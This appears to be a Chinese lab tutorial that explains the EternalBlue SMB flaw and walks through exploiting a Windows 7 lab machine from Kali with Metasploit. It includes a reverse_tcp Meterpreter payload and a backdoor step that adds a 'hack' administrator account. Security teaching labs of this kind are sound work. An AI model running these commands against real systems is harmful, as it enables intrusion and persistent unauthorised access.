一、基础知识介绍:
1.何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
2.什么是SMB协议?
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
3.SMB工作原理是什么?
(1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
(2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
(3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
(4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
二、实验环境:
1.使用kali 和windows 7旗舰版(kali作为攻击主机,windows 7旗舰版作为靶机),使用wireshark进行抓包
2.设置kali 的IP地址为自动获取,查看kali IP地址:ifconfig
可以看到kali 的IP地址是192.168.223.137
3.设置windows 7的IP地址为自动获取,查看windows 7的IP地址:ipconfig
可以看见windows 7 的IP地址为192.168.223.141
三、实验步骤:
1.测试两台主机的连通性:用kali 去Ping windows 7的主机,来测试连通性:ping 192.168.223.141
可以看见两台主机连通性良好
2.查看kali 主机数据库是否开启:service postgresql status
由上图可以看出:Active:inactive (dead)说明数据库此时是关闭的;
3.打开kali 主机的数据库:service postgresql start
4.再次查看kali 主机的数据库:service postgresql status
由上图可以看出:Active:active (exited)说明此时数据库已经打开
5.进行msfdb 数据库初始化,配置数据库相关信息:msfdb init
此时就可以进行永恒之蓝漏洞扫描,(永恒之蓝利用的是ms17_010漏洞,因此到这一步之后的任务就是在kali 里寻找ms17_010漏洞,并且利用该漏洞进行攻击,获得windows 7 的管理员权限)
6.启动msf:msfconsole
这样就成功进入了msf中,如果你的界面与该界面不同,不必诧异,msf每次都会有一个随机的界面
7.查看数据库连接情况:在msf命令提示符下:db_status(下面的msf命令提示符也说明了已经进入了msf中)
postgresql connected to msf 说明已经成功连接到了msf
8.搜索ms17_010:search ms17_010
小提示:如果第一次输入search ms17_010时并没有出现如上图所示的界面,那么再次输入search ms17_010(本人当时就是输入了两遍才出来如图所示界面,所以多尝试几次)如果多次还是没有发现上述界面,那么有可能是kali 版本太低,没有ms17_010漏洞,所以建议安装更新版本的kali
9.使用ms17_010模块进行漏洞扫描,在此我使用的是下面两条命令(其他的命令也可以进行ms17_010漏洞扫描,但是能否获得系统权限就不得而知了,有兴趣可以进行实验)
扫描命令:use auxiliary/scanner/smb/smb_ms17_010
攻击命令(后面使用):use exploit/windows/smb/ms17_010_eternalblue
10.此时如果不知道应该使用什么命令,则输入options来获得帮助
在此,只关注两个命令:RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描
11.设置扫描的主机或者主机段(由于靶机IP地址是192.168.223.141,因此设置扫描主机段为192.168.223.141/24):set rhosts 192.168.223.141/24;然后设置扫描线程为20;最后输入run执行扫描。与此同时,在kali里面打开wireshark抓包工具(新建一个终端,输入wireshark即可),监听ethO
由上图可以看出,扫描出来存在ms17_010漏洞的主机,也恰好是我的靶机
通过跟踪TCP流,得到了靶机的基本信息:操作系统是windows 7,IP地址是192.168.223.141,协议为SMB2
12.进行攻击:use exploit/windows/smb/ms17_010_eternalblue
设置攻击目标(靶机):set rhost 192.168.223.141
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
设置监听主机(kali):set lhost 192.168.223.137
利用exploit进行攻击:exploit
攻击之后如下图所示:
可以看到监听(kali)IP(192.168.223.137)及端口(4444),被攻击主机(192.168.223.141)及端口(49159)之间已经建立了连接
四、持续攻击(种植后门)
1.显示远程主机系统信息:sysinfo
2.查看用户身份:getuid
3.对远程主机当前屏幕进行截图:screenshot
打开截图所在位置:
4.获得shell控制台:shell
上面显示转到C:\Windows\system32目录下,说明已经获得了shell的控制权。
5.进行后门植入(创建新的管理员账户)
net user hack 123456 /add //在windows 7上创建一个hack的用户,以便下次访问
net localgroup administrators hack /add //将hack加入到windows 7的本地管理员组中,以便获得更大权限
net user //查看windows 7本地用户
net localgroup administrators //查看windows 7本地管理员
由上图可以看出来,的确将hack添加到windows 7 中,这样可以方便下次继续访问
自此,利用永恒之蓝漏洞攻击一台主机就结束了,现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了。
若有错误,希望各位可以指出,谢谢!